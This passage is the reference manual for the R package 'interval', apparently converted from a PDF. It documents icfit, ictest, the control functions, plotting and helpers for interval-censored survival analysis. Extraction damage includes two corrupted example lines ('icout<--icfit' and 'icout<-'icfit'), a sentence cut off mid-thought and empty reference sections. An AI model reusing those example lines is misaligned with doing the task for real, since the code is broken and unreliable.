attributes, so values exactly on the intmap values may only represent the limit approaching that value, not the survival at that value. Description This function calculates the non-parametric maximum likelihood estimate for the distribution from interval censored data using the self-consistent estimator, so the associated survival distribution generalizes the Kaplan-Meier estimate to interval censored data. Formulas using Surv are allowed similar to survfit. Usage ## S3 method for class 'formula' icfit(formula, data, ...) ## Default S3 method: icfit(L, R, initfit = NULL, control = icfitControl(), Lin = NULL, Rin = NULL, conf.int = FALSE, ...) Arguments L numeric vector of left endpoints of censoring interval (equivalent to first element of \texttt{Surv} when type='interval2', see details) R numeric vector of right endpoints of censoring interval (equivalent to second element of \texttt{Surv} function when type='interval2', see details) initfit an initial estimate as an object of class \texttt{icfit} or \texttt{icsurv}, or a character vector of the name of the function used to calculate the initial estimate (see details) control list of arguments for controlling algorithm (see \texttt{icfitControl}) Lin logical vector, should L be included in the interval? (see details) Rin logical vector, should R be included in the interval? (see details) formula a formula with response a numeric vector (which assumes no censoring) or \texttt{Surv} object the right side of the formula may be 1 or a factor (which produces separate fits for each level). data an optional matrix or data frame containing the variables in the formula. By default the variables are taken from environment(formula). conf.int logical, estimate confidence interval? For setting conf.level, etc see \texttt{icfitControl}. (May take very long, see Warning) ... values passed to other functions Details The \texttt{icfit} function fits the nonparametric maximum likelihood estimate (NPMLE) of the distribution function for interval censored data. In the default case (when Lin=Rin=NULL) we assume there are n (n=length(L)) failure times, and the ith one is in the interval between L[i] and R[i]. The default is not to include L[i] in the interval unless L[i]=R[i], and to include R[i] in the interval unless R[i]=Inf. When Lin and Rin are not NULL they describe whether to include L and R in the associated interval. If either Lin or Rin is length 1 then it is repeated n times, otherwise they should be logics of length n. The algorithm is basically an EM-algorithm applied to interval censored data (see Turnbull, 1976); however first we can define a set of intervals (called the Turnbull intervals) which are the only intervals where the NPMLE may change. The Turnbull intervals are also called the innermost intervals, and are the result of the primary reduction (see Aragon and Eberly, 1992). The starting distribution for the E-M algorithm is given by initfit, which may be either (1) NULL, in which case a very simple and quick starting distribution is used (see code), (2) a character vector describing a function with inputs, L,R, Lin, Rin, and A, see for example \texttt{initcomputeMLE}, (3) a list giving pf and intmap values, e.g., an \texttt{icfit} object. If option (2) is tried and results in an error then the starting distribution reverts to the one used with option (1). Convergence is defined when the maximum reduced gradient is less than epsilon (see \texttt{icfitControl}), and the Kuhn-Tucker conditions are approximately met, otherwise a warning will result. (see Gentleman and Geyer, 1994). There are other faster algorithms (for example see \texttt{EMICM} in the package \texttt{Icens}). The output is of class \texttt{icfit} which is identical to the \texttt{icsurv} class of the \texttt{Icens} package when there is only one group for which a distribution is needed. Following that class, there is an \texttt{intmap} element which gives the bounds about which each drop in the NPMLE survival function can occur. Since the classes \texttt{icfit} and \texttt{icsurv} are so closely related, one can directly use of initial (and faster) fits from the \texttt{Icens} package as input in \texttt{initfit}. Note that when using a non-null initfit, the Lin and Rin values of the initial fit are ignored. Alternatively, one may give the name of the function used to calculate the initial fit. The function is assumed to input the transpose of the A matrix (called A in the Icens package). Options can be passed to initfit function as a list using the initfitOpts variable in \texttt{icfitControl}. The advantage of the \texttt{icfit} function over those in \texttt{Icens} package is that it allows a call similar to that used in \texttt{survfit} of the \texttt{survival} package so that different groups may be plotted at the same time with similar calls. An \texttt{icfit} object prints as a list (see value below). A print function prints output as a list except suppresses printing of A matrix. A summary function prints the distribution (i.e., probabilities and the intervals where those probability masses are known to reside) for each group in the \texttt{icfit} object. There is also a plot method, see \texttt{plot.icfit}. For additional references and background see Fay and Shaw (2010). The confidence interval method is a modified bootstrap. This can be very time consuming, see warning. The method uses a percentile bootstrap confidence interval with default B=200 replicates (see \texttt{icfitControl}), with modifications that prevent lower intervals of 1 and upper intervals of 0. Specifically, if there are n observations total, then at any time the largest value of the lower interval for survival is \texttt{binom.test(n,n,conf.level=control()$conf.level)$conf.int[1]} and analogously the upper interval bounds using \texttt{binom.test(0,n)}. The output (CI element of returned list) gives confidence intervals just before and just after each assessment time (as defined by \texttt{icfitControl$timeEpsilon}). \textbf{Value} An object of class \texttt{icfit} (same as \texttt{icsurv} class, see details). There are 4 methods for this class: \texttt{plot.icfit}, \texttt{print.icfit}, \texttt{summary.icfit}, and \texttt{[.icfit}. The last method pulls out individual fits when the right side of the formula of the \texttt{icfit} call was a factor. A list with elements: \begin{itemize} \item \texttt{A} \hspace{1cm} this is the n by k matrix of indicator functions, NULL if more than one strata, not printed by default \item \texttt{strata} \hspace{1cm} a named numeric vector of length of pf vector (jumps in NPMLEs) for each strata, if one strata observation named NPMLE \item \texttt{error} \hspace{1cm} this is \texttt{max(d + u - n)}, see Gentleman and Geyer, 1994 \item \texttt{numit} \hspace{1cm} number of iterations \item \texttt{pf} \hspace{1cm} vector of estimated probabilities of the distribution. if more than one strata, vectors are concatenated \item \texttt{intmap} \hspace{1cm} 2 by k matrix, where the ith column defines an interval corresponding to the probability, pf[i] \item \texttt{converge} \hspace{1cm} a logical, TRUE if normal convergence \item \texttt{message} \hspace{1cm} character text message on about convergence \item \texttt{anypzero} \hspace{1cm} logical denoting whether any of the Turnbull intervals were set to zero \item \texttt{CI} \hspace{1cm} if \texttt{conf.int=TRUE} included as a list of lists for each stratum, each one having elements time, lower, upper, confMethod, conf.level \end{itemize} Warning The confidence interval method can be very time consuming because it uses a modified bootstrap and the NPMLE is recalculated for each replication. That is why the default only uses 200 bootstrap replications. A message gives a crude estimate of how long the confidence interval calculation will take (it calculates a per replication value by averaging the time of the first 10 replications), but that estimate can be off by 100 percent or more because the time to calculate each bootstrap replication is quite variable. Author(s) Michael P. Fay References See Also ictest, EMICM Examples data(bcos) icout<--icfit(Surv(left,right,type="interval2")~treatment, data=bcos) plot(icout) ## can pick out just one group plot(icout[1]) icfitControl Auxiliary for controlling icfit Description A function to create a list of arguments for icfit. Usage icfitControl(epsilon = 1e-06, maxit = 10000, initfitOpts=NULL, conf.level=.95, B=200, confMethod="modboot", seed=19439101, timeEpsilon=1e-06, timeMessage=TRUE) ictest Arguments epsilon The minimum error for convergence purposes. The EM algorithm stops when error < epsilon, where error is the maximum of the reduced gradients (see Gentleman and Geyer, 1994) maxit maximum number of iterations of the EM algorithm initfitOpts named list of options for initfit function if initfit is function name conf.level level for confidence interval, used if conf.int=TRUE B number of bootstrap replications for conf.int=TRUE, must be at least 11 confMethod method for confidence intervals, must be "modboot" seed random seed for bootstrap, if NULL no call to set.seed timeEpsilon small number for adding or subtracting from time for drawing confidence interval lines timeMessage logical, print estimate of how long modified bootstrap confidence intervals will take to calculate? Details There is only one option for the confMethod now. The confMethod argument is only needed for future versions if there is another confidence interval method option. For a description of the modified bootstrap method see icfit. Value An list with the arguments as components. References ictest do logrank or Wilcoxon type tests on interval censored data Description The ictest function performs several different tests for interval censored data, and the wlr_trafo function takes interval censored data and returns one of several rank-based scores as determined by the scores option. The default for ictest is to perform a permutation test, either asymptotic or exact depending on the size of the data. Other types of tests (the scores test form or multiple imputation form) are supported. The 5 different score options allow different tests including generalizations to interval censored data of either the Wilcoxon-Mann-Whitney test (scores="wmw") or the logrank test (scores="logrank1" or scores="logrank2") (see details). The function calls the icfit function, if an icfit object is not provided. Usage ## Default S3 method: ictest(L, R, group, scores = c("logrank1", "logrank2", "wmw", "normal", "general"), rho=NULL, alternative = c("two.sided", "less", "greater"), icFIT=NULL, initfit=NULL, iccontrol=icfitControl(), exact=NULL, method=NULL, methodRule=methodRuleIC1, mcontrol=mControl(), Lin=NULL, Rin=NULL, dqfunc=NULL, ...) ## S3 method for class 'formula' ictest(formula, data, subset, na.action, ...) ## Default S3 method: wlr_trafo(x, R=NULL, scores = c("logrank1", "logrank2", "wmw", "normal", "general"), icFIT = NULL, initfit =NULL, control=icfitControl(), Lin=NULL,Rin=NULL,dqfunc=NULL,...) ## S3 method for class 'Surv' wlr_trafo(x,...) ## S3 method for class 'data.frame' wlr_trafo(x,...) Arguments L numeric vector of left endpoints of censoring interval (equivalent to first element of Surv when type='interval2'), if R is NULL then represents exact failure time R numeric vector of right endpoints of censoring interval (equivalent to second element of Surv when type='interval2', see details) x response, either a Surv object or a numeric vector representing the left endpoint. If the latter and R is NULL then x is treated as exact group a vector denoting the group for which the test is desired. If group is a factor or character then a k-sample test is performed, where k is the number of unique values of group. If group is numeric then a "correlation" type test is performed. If there are only two groups, both methods give the same results. **scores** character vector defining the scores: "logrank1" (default), "logrank2", "wmw" or others (see details) **rho** either 0 (gives scores="logrank1"), or 1 (gives scores="wmw"), ignored if NULL (see Note) **alternative** character giving alternative for two-sample and trend tests, K-sample should be two.sided (see details) **icFIT** a precalculated icfit object for increased computation speed. This should be the icfit from the pooled data. Normally initfit should be used instead (see Warning) **initfit** an object of class icfit or icsurv or a character vector giving a function name, used for the initial estimate (see Warning). Ignored if icFIT is not null **icontrol** list of arguments for controlling NPMLE algorithm in call to icfit (default icfitControl) **formula** a formula with response a numeric vector (which assumes no censoring) or Surv object, the right side of the formula is the group variable. No strata() is allowed **data** data frame for variables in formula **subset** an optional vector specifying a subset of observations to be used **na.action** a function which indicates what should happen when the data contain NAs. Defaults to getOption("na.action") **Surv** a Surv object, see Surv **exact** a logical value, TRUE denotes exact test, ignored if method is not NULL **method** a character value, one of 'pclt', 'exact.network', 'exact.ce', 'exact.mc', 'scoretest', 'wsr.HLY', 'wsr.pclt', 'wsr.mc'. If NULL method is chosen by methodRule which may use the value of exact. **methodRule** a function used to choose the method, default methodRuleIC1. (see details in perm) **mcontrol** list of arguments for controlling algorithms of different methods (see mControl) **Lin** logical vector, should L be included in the interval? (see details) **Rin** logical vector, should R be included in the interval? (see details) **dqfunc** function used with general scores (see details) **control** list of arguments for controlling NPMLE algorithm in call to icfit (default icfitControl) ... values passed to other functions **Details** The censoring in the default case (when Lin=Rin=NULL) assumes there are n (n=length(L)) failure times, and the ith one is in the interval between L[i] and R[i]. The default is not to include L[i] in the interval unless L[i]=R[i], and to include R[i] in the interval unless R[i]=Inf. When Lin and Rin are not NULL they describe whether to include L and R in the associated interval. If either Lin or Rin is length 1 then it is repeated n times, otherwise they should be logicals of length n. Three different types of scores are compared in depth in Fay (1999): When scores='logrank1' this gives the most commonly used logrank scores for right censored data, and reduces to the scores of... Sun (1996) for interval censored data. When scores='logrank2' this gives the scores associated with the grouped proportional hazards model of Finkelstein (1986). When scores='wmw' this gives the generalized Wilcoxon-Mann-Whitney scores. The other options for scores only allow the permutation methods and follow cases where the er- ror under the grouped continuous model is either normally distributed (scores='normal') or dis- tributed by some other distribution (scores='general') (see Fay, 1996). For scores='general' the user must supply the function (dqfunc) which represents the density function of the inverse dis- tribution function of the error. For example, scores='general' with dqfunc equal to \texttt{function(x){{ \begin{verbatim} dnorm(qnorm(x)) \end{verbatim}}} gives the same results as scores='normal' or with dqfunc equal to \texttt{function(x){{ \begin{verbatim} dlogis(qlogis(x)) \end{verbatim}}} gives the same results (theoretically, but perhaps not exactly when calcu- lated) as scores='wmw'. For censored data two common likelihoods are the marginal likelihood of the ranks and the like- lihood with nuisance parameters for the baseline survival. Here we use the latter likelihood (as in Because of theoretical difficulties (discussed below), the default method (method=NULL with methodRule=\texttt{methodRuleIC1}) is to perform a permutation test on the scores. There are several ways to perform the permutation test, and the function \texttt{methodRuleIC1} chooses which of these ways will be used. The choice is basically between using a permutational central limit theorem (method="pclt") or using an exact method. There are several algorithms for the exact method (see \texttt{perm}). Note that there are two exact two-sided methods and the default is to essentially double the smaller of the one-sided p-values (tsmethod='central'), while the default in the \texttt{coin} package is different (see \texttt{mControl} and the tsmethod option). Another method is to perform a standard score test (method="scoretest"). It is difficult to prove the asymptotic validity of the standard score tests for this likelihood because the number of nuisance parameters typically grows with the sample size and often many of the parameters are equal at the nonparametric MLÉ, i.e., they are on the boundary of the parameter space (Fay, 1996). Specifically, when the score test is performed then an adjustment is made so that the nuisance parameters are defined based on the data and do not approach the boundary of the parameter space (see Fay, 1996). Theoretically, the score test should perform well when there are many individuals but few obser- vation times, and its advantage in this situation is that it retains validity even when the censoring mechanism may depend on the treatment. Another method is to use multiple imputation, or within subject resampling (method="wsr.HLY") (Huang, Lee, and Yu, 2008). This method samples interval censored observations from the non- parametric distribution, then performs the usual martingale-based variance. A different possibility is to use a permutational central limit theorem variance for each wsr (method="wsr.pclt") or use Monte Carlo replications to get an possibly exact method from each within subject resampling (method="wsr.mc"). Note that when icfit and ictest are used on right censored data, because of the method of estimating variance is different, even Sun’s method does not produce exactly the standard logrank test results. Fay and Shaw (2010) gives the mathematical expressions for the different tests. Note that the default method performs reasonably well even when the assessment times depend on the treatment (see Fay and Shih, 2012, Fay and Hunsberger, 2013). If your primary concern is with retaining type I error and you do not mind conservativeness, then the wsr.pclt or wsr.mc methods can be used. Value The function `wlr_trafo` returns only the numeric vector of scores, while `ictest` returns an object of class ‘ictest’, which is a list with the following values. - **scores**: This is a vector the same length as L and R, containing the rank scores (i.e., the ci values in Fay, 1999 equation 2). These scores are calculated by `wlr_trafo`. - **U**: The efficient score vector. When group is a factor or character vector then each element of U has the interpretation as the weighted sum of "observed" minus "expected" deaths for the group element defined by the label of U. Thus negative values indicate better than average survival (see Fay, 1999). - **N**: number of observations in each group - **method**: full description of the test - **data.name**: description of data variables - **algorithm**: character vector giving algorithm used in calculation, value of method or of result of `methodRule`. One of 'pclt', 'exact.network', etc. - **statistic**: either the chi-square or Z statistic, or NULL for exact methods - **parameter**: degrees of freedom for chi-square statistic - **alternative**: alternative hypothesis - **alt.phrase**: phrase used to describe the alternative hypothesis - **p.value**: p value associated with alternative - **p.values**: vector of p-values under different alternatives - **p.conf.int**: confidence interval on p.value, for method='exact.mc' only - **nmc**: number of Monte Carlo replications, for method='exact.mc' only - **nwsr**: number of within subject resamplings, for WSR methods only - **V**: covariance matrix for U, output for method='scoretest' only - **d2L.dB2**: second derivative of log likelihood with respect to beta, output for method='scoretest' only - **d2L.dgam2**: second derivative of log likelihood with respect to gamma, output for method='scoretest' only - **d2L.dBdgam**: derivative of log likelihood with respect to beta and gamma, output for method='scoretest' only - **estimate**: output of test statistic from permutation method, difference in means in scores, output only for permutation methods - **null.value**: 0, null value of test statistics from permutation method, output only with permutation methods - **np**: number of permutation replications within each WSR, for method='wsr.mc' only - **fit**: object of class 'icfit' giving results of NPMLE of all responses combined (ignoring group variable) - **call**: the matched call **Warning** Because the input of icFIT is only for saving computational time, no checks are made to determine if the icFIT is in fact the correct one. Thus you may get wrong answers with no warnings if you input the wrong icFIT object. The safer way to save computational time is to input into initfit either a precalculated icfit object or an icsurv object from a function in the Icens package such as EMICM. When this is done, you will get either the correct answer or a warning even when you input a bad guess for the initfit. Additionally, you may specify a function name for initfit. The default is NULL which uses a simple initial fit function (it is a weighted average of the A matrix, see icfit.default code). A fast but somewhat unstable function uses initcomputeMLE which uses the computeMLE function from the 'MLEcens' package. See help for icfit for details on the initfit option. **Note** The rho argument gives the scores which match the scores from the survdiff function, so that when rho=0 then scores="logrank1", and when rho=1 then scores="wmw". These scores will exactly match those used in survdiff, but the function survdiff uses an asymptotic method based on the score test to calculate p-values, while ictest uses permutation methods to calculate the p-values, so that the p-values will not match exactly. The rho argument overrides the scores argument, so that if rho is not NULL then scores is ignored. **Author(s)** Michael P. Fay **References** See Also icfit, EMICM, computeMLE Examples ```r ## perform a logrank-type test using the permutation form of the test data(bcos) testresult <- ictest(Surv(left, right, type="interval2") ~ treatment, scores="logrank1", data=bcos) testresult ## perform a Wilcoxon rank sum-type test ## using asymptotic permutation variance left <- bcos$left right <- bcos$right trt <- bcos$treatment ## save time by using previous fit ictest(left, right, trt, initfit=testresult$fit, method="pclt", scores="wmw") ``` Description The function `icfit` calculates the NPMLE of a distribution for interval censored data using an E-M algorithm with polishing and checking the Kuhn-Tucker conditions (see `icfit` help details). It allows functions for the initfit option in order to calculate the starting value of the distribution in the E-M algorithm. Because `icfit` checks the Kuhn-Tucker conditions, we can try functions without doing extensive quality control, since if the starting distribution is not close to the true NPMLE the only downside is a slower convergence. But if the initfit function is the true NPMLE then convergence happens on the first iteration. Functions must input 5 objects, L, R, Lin, Rin, and A, but need not use all of them. Usage ```r initcomputeMLE(L, R, Lin, Rin, A = NULL, max.inner = 10, max.outer = 1000, tol = 1e-9) initEMICM(L = NULL, R = NULL, Lin = NULL, Rin = NULL, A = NULL, maxiter = 1000, tol = 1e-7) ``` Arguments - `L`: numeric vector of left endpoints of censoring interval (equivalent to first element of Surv when type='interval2', see `icfit` details) - `R`: numeric vector of right endpoints of censoring interval (equivalent to second element of Surv function when type='interval2', see `icfit` details) - `Lin`: logical vector, should L be included in the interval? (see `icfit` details) - `Rin`: logical vector, should R be included in the interval? (see `icfit` details) - `A`: clique matrix - `max.inner`: see `computeMLE` In order to work correctly within \texttt{icfit} the function should output a list with at least a 'pf' element giving the estimated mass of the distribution for a series of intervals. Further, if an 'intmap' element is included (describing the series of intervals) it will be used by \texttt{icfit}. The function \texttt{initcomputeMLE} outputs an \texttt{icfit} object with 'pf' and 'intmap' values and some other values defined in the help for \texttt{computeMLE}. The function \texttt{initEMICM} outputs an \texttt{icsurv} object with a 'pf' element but no 'intmap' element, in addition to some other values defined in the help for \texttt{EMICM}. Here we define pf and intmap: - \texttt{pf} vector of estimated probabilities of the distribution - \texttt{intmap} 2 by k matrix, where the ith column defines an interval corresponding to the probability, pf[i] In rare cases the \texttt{computeMLE} function (and hence the \texttt{initcomputeMLE} function) can cause R to crash (at least for version 0.1-3 of the MLEcens package). The wrappers for the functions were written by M. Fay, but the real work are the calculation engines: The calculation engine for \texttt{initcomputeMLE} is \texttt{computeMLE} and was written by Marloes Maathuis, with part of the code for the optimization step is adapted from code that was written by Piet Groeneboom. The calculation engine for \texttt{initEMICM} is \texttt{EMICM} and was written by Alain Vandal and Robert Gentleman. ### Examples ```r ## If you want speed and trust the MLEcens package, then there is no need to use icfit at all ## (but the convergence checks in icfit do not take much additional time) data(bcos) fit<-initcomputeMLE(bcos$left,bcos$right) summary(fit) plot(fit) ``` \texttt{icfit,computeMLE,EMICM} mControl Auxiliary for feeding parameters to different methods Description A function to create a list of arguments for `ictest`. Usage mControl(cm=NULL,nmc=10^3-1,seed=1234321,digits=12,p.conf.level=.99, setSEED=TRUE,tol.svd=10^-8,nwsr=10^3-1,np=10^3-1,tsmethod="central") Arguments cm a choose(n,m) by n matrix, used if method='exact.ce', ignored otherwise nmc number of Monte Carlo replications, used if method='exact.mc', ignored otherwise seed value used in `set.seed` if method='exact.mc', or any of three wsr methods, ignored otherwise setSEED logical, set to FALSE when performing simulations p.conf.level confidence level for p value estimate, used if method='exact.mc', ignored otherwise digits number of digits to use in `signif` for precision of test statistics tol.svd tolerance for use in calculating g-inverse, values less than tol.svd are set to zero, used when method='scoretest' nwsr number of within subject resamples, used when method='wsr.mc', 'wsr.HLY', or 'wsr.pclt' np number of permutation replications within each wsr, used when method='wsr.mc' tsmethod two-sided method for exact permutation tests, either 'central' or 'abs' (see `permControl`) Details When cm=NULL the resulting matrix is created by `chooseMatrix`, it may be optionally provided here only so that chooseMatrix does not need to be repeatedly called in simulations. Also when doing simulations (with method='exact.mc' or any of the wsr methods), use setSEED=FALSE so that the seed is not reset to the same value each time you call the function. See `calcPvalsMC` for description of how p.conf.level is used. Value An list with the arguments as components. methodRuleIC1 Rule for determining method for ictest Description This is the default function which determines which permutation method (e.g., 'pclt' or 'exact.network') to use in ictest. Usage methodRuleIC1(x, group, exact, Nbound = c(20)) Arguments x vector of response scores group group membership vector exact logical, TRUE=exact method chosen, FALSE=pclt Nbound bound, if n>Nbound then method='pclt' otherwise either 'exact.mc' (for k-sample or trend) or 'exact.network' (for two-sample) Details This function determines which of several methods will be used in ictest, see permTS for description of methods. When exact=FALSE then returns 'pclt'. When exact=TRUE then returns either 'exact.network' if the length(cc)<=Nbound and it is a two-sample test or 'exact.mc' otherwise. When exact=NULL and the length(cc)<=Nbound, then returns either 'exact.network' (for two-sample) or 'exact.mc' (for k-sample and trend). When exact=NULL and length(cc)>Nbound returns 'pclt'. Value a character vector with one of the following values: "pclt","exact.network","exact.mc" See Also ictest **plot.icfit** **Plot icfit object** **Description** Plots either the survival distributions, the cumulative distributions, or a transformation of the cumulative distributions, from an icfit object. If there is more than one strata, all strata will be plotted. Note that for interval censored data, the changes in the NPMLE of the survival function usually do not occur at unique points but occur within some interval where any of an infinite number of curves will maximize the likelihood. We show those intervals were the NPMLE is indeterminate as a gray rectangle. **Usage** ```r ## S3 method for class 'icfit' plot(x, XLAB="time", YLAB=NULL, COL=gray((8:1)*.1), LTY=1:9, LEGEND=NULL, XLEG=NULL, YLEG=NULL, shade=TRUE, dtype="survival", dlink=function(x){log(-log(1-x))}, xscale=1, yscale=1, conf.int=NULL, estpar=list( lty=NULL, lwd=1, col=gray(0)), cipar=list( lty=1:9, lwd=1, col=gray(0.8)), ...)``` **Arguments** - **x**: an icfit object, see [icfit](#) - **XLAB**: x label - **YLAB**: y label, if NULL label matches dtype - **COL**: a vector representing color of rectangles of indeterminate NPMLE, COL[i] used for ith strata - **LTY**: a vector for lty values for lines, LTY[i] used for ith strata - **LEGEND**: logical value, include legend or not, if NULL set to TRUE only if number of strata>1 - **XLEG**: x location for legend, if NULL then gives maximum of 0 and minimum time from intmap - **YLEG**: y location for legend - **shade**: logical, should the rectangles of indeterminate NPMLE be colored? - **dtype**: type of distribution plotted, one of 'survival', 'cdf' or 'link' (see details) - **dlink**: link function when dtype='link' (see details) - **xscale**: a numeric value used to multiply the labels on the x axis. So if the data are in days, then a value of 1/365.25 would give labels in years. - **yscale**: a numeric value used to multiply the labels on the y axis. A value of 100, for instance, would be used to give a percent scale. As in the survival package, only the labels are changed, not the actual plot coordinates plot.icfit conf.int logical, should confidence intervals be plotted? NULL plots them if they are present in x object and gives no errors if they are not. estpar list of par arguments for the estimated distribution lines. If lty=NULL uses LTY argument, otherwise ignores LTY (for backward compatibility) cipar list of par arguments for the confidence interval lines ... other arguments passed to the plot function Details Turnbull (1976) noted that the NPMLE was not unique within a certain set of intervals. We represent that non-uniqueness using colored rectangles when shade=TRUE. The option shade=TRUE is not supported when dtype="link". The option dtype="cdf" plots the cumulative distribution function. When there are several strata, different types of weighted logrank-type tests (see ictest) may be derived from score statistics under the grouped continuous model with error distribution known. To test which test is appropriate, one may plot the cumulative distribution for each stratum transformed by the inverse of the proposed error distribution (see Fay, 1996). These are plotted with dtype="link" where dlink is the link function which transforms the cdf. The "wmw" scores correspond to dlink=qlogis, the "logrank2" scores correspond to the default complementary log-log dlink, and the "normal" scores correspond to dlink=qnorm. Value Returns a list of arguments for the legend. Values are x,y, legend, fill, lty. See legend help. Note An object of class 'icsurv' from the Icens package can use this plot function by redefining its class to 'icfit' and 'plot.icfit' will work on it. References See Also icfit Examples data(bcos) fit1<-icfit(Surv(left,right,type="interval2")~treatment,data=bcos) summary(fit1) plot(fit1) Methods for icfit objects Description The print method prints as a list, except the A (clique) matrix. The summary method prints the masses an associated maps for the fit. The [ method allows picking out of specific fits for individual elements of the factor when the right hand side of the formula in icfit was a factor. Usage ## S3 method for class 'icfit' summary(object, digits=4, ...) ## S3 method for class 'icfit' print(x, ...) ## S3 method for class 'icfit' x[i] Arguments object an icfit object x an icfit object digits number of digits for rounding results i scalar integer to pick ith strata ... arguments to be passed See Also icetest Examples data(bcos) icout<-'icfit(Surv(left,right,type="interval2")~treatment, data=bcos) print(icout) summary(icout) icout[1] SurvLR Transform Surv object to data frame with L and R values Description Takes a Surv object and transforms it into a data frame with two variables, L and R, representing the left and right interval of interval censored data. The failure time is known to be in the interval (L,R]. Right censored data are handled by setting L=R for observed and R=Inf for right censored. These are interpreted correctly by icfit and ictest. Usage SurvLR(x) Arguments x a Surv object Details Currently type='counting' not supported. Value A data frame with two variables: <table> <thead> <tr> <th>L</th> <th>left end of interval</th> </tr> </thead> <tbody> <tr> <td>R</td> <td>right end of interval</td> </tr> </tbody> </table> See Also Called from icfit and ictest Examples ```r time<-c(1,5,3,7) status<-c(1,1,0,1) y<-Surv(time,status) SurvLR(y) ``` Index * datasets bcos, 4 * hplot plot.icfit, 19 * htest ictest, 9 * misc Aintmap, 2 icfitControl, 8 mControl, 17 methodRuleIC1, 18 SurvLR, 22 * nonparametric ictest, 9 * package interval-package, 2 * survival getsurv, 4 icfit, 5 ictest, 9 initcomputeMLE, 15 summary.icfit, 21 [.icfit, 7 [.icfit (summary.icfit), 21 Aintmap, 2 bcos, 4 calcPvalsMC, 17 chooseMatrix, 17 computeMLE, 14–16 EMICM, 6, 8, 14–16 getsurv, 4 icfit, 2, 3, 5, 8, 9, 14–16, 19, 20, 22 icfitControl, 6, 7, 8, 11 ictest, 2, 3, 8, 9, 17, 18, 20–22 initcomputeMLE, 6, 14, 15 initEMICM(initcomputeMLE), 15 interval(interval-package), 2 interval-package, 2 legend, 20 mControl, 11, 12, 17 methodRuleIC1, 11, 12, 18 perm, 11, 12 permControl, 17 permTS, 18 plot.icfit, 2, 7, 19 print.icfit, 7 print.icfit(summary.icfit), 21 signif, 17 summary.icfit, 7, 21 Surv, 11, 22 survdiff, 14 SurvLR, 22 wlr_trafo(ictest), 9
{"Source-Url": "https://cran.r-project.org/web/packages/interval/interval.pdf", "len_cl100k_base": 10479, "olmocr-version": "0.1.50", "pdf-total-pages": 23, "total-fallback-pages": 0, "total-input-tokens": 51072, "total-output-tokens": 12864, "length": "2e13", "weborganizer": {"__label__adult": 0.0004000663757324219, "__label__art_design": 0.0007147789001464844, "__label__crime_law": 0.0005459785461425781, "__label__education_jobs": 0.0035686492919921875, "__label__entertainment": 0.00026988983154296875, "__label__fashion_beauty": 0.0002061128616333008, "__label__finance_business": 0.0006265640258789062, "__label__food_dining": 0.0006470680236816406, "__label__games": 0.0019073486328125, "__label__hardware": 0.0010242462158203125, "__label__health": 0.0022792816162109375, "__label__history": 0.0006403923034667969, "__label__home_hobbies": 0.00022220611572265625, "__label__industrial": 0.0006632804870605469, "__label__literature": 0.0005788803100585938, "__label__politics": 0.0005626678466796875, "__label__religion": 0.0005979537963867188, "__label__science_tech": 0.376708984375, "__label__social_life": 0.00022077560424804688, "__label__software": 0.049407958984375, "__label__software_dev": 0.556640625, "__label__sports_fitness": 0.0006284713745117188, "__label__transportation": 0.00039315223693847656, "__label__travel": 0.0003101825714111328}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 44468, 0.02628]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 44468, 0.75603]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 44468, 0.73676]], "google_gemma-3-12b-it_contains_pii": [[0, 1602, false], [1602, 2867, null], [2867, 4383, null], [4383, 5672, null], [5672, 7212, null], [7212, 10828, null], [10828, 14146, null], [14146, 15852, null], [15852, 17916, null], [17916, 19247, null], [19247, 22173, null], [22173, 26117, null], [26117, 28530, null], [28530, 31360, null], [31360, 33325, null], [33325, 35105, null], [35105, 36766, null], [36766, 37875, null], [37875, 39962, null], [39962, 41982, null], [41982, 42768, null], [42768, 43557, null], [43557, 44468, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1602, true], [1602, 2867, null], [2867, 4383, null], [4383, 5672, null], [5672, 7212, null], [7212, 10828, null], [10828, 14146, null], [14146, 15852, null], [15852, 17916, null], [17916, 19247, null], [19247, 22173, null], [22173, 26117, null], [26117, 28530, null], [28530, 31360, null], [31360, 33325, null], [33325, 35105, null], [35105, 36766, null], [36766, 37875, null], [37875, 39962, null], [39962, 41982, null], [41982, 42768, null], [42768, 43557, null], [43557, 44468, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 44468, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 44468, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 44468, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 44468, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 44468, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 44468, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 44468, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 44468, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 44468, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 44468, null]], "pdf_page_numbers": [[0, 1602, 1], [1602, 2867, 2], [2867, 4383, 3], [4383, 5672, 4], [5672, 7212, 5], [7212, 10828, 6], [10828, 14146, 7], [14146, 15852, 8], [15852, 17916, 9], [17916, 19247, 10], [19247, 22173, 11], [22173, 26117, 12], [26117, 28530, 13], [28530, 31360, 14], [31360, 33325, 15], [33325, 35105, 16], [35105, 36766, 17], [36766, 37875, 18], [37875, 39962, 19], [39962, 41982, 20], [41982, 42768, 21], [42768, 43557, 22], [43557, 44468, 23]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 44468, 0.01515]]}
olmocr_science_pdfs
2024-12-01
2024-12-01
8d00d75f15bb3acf8c446931dd2aa21a71bf4695
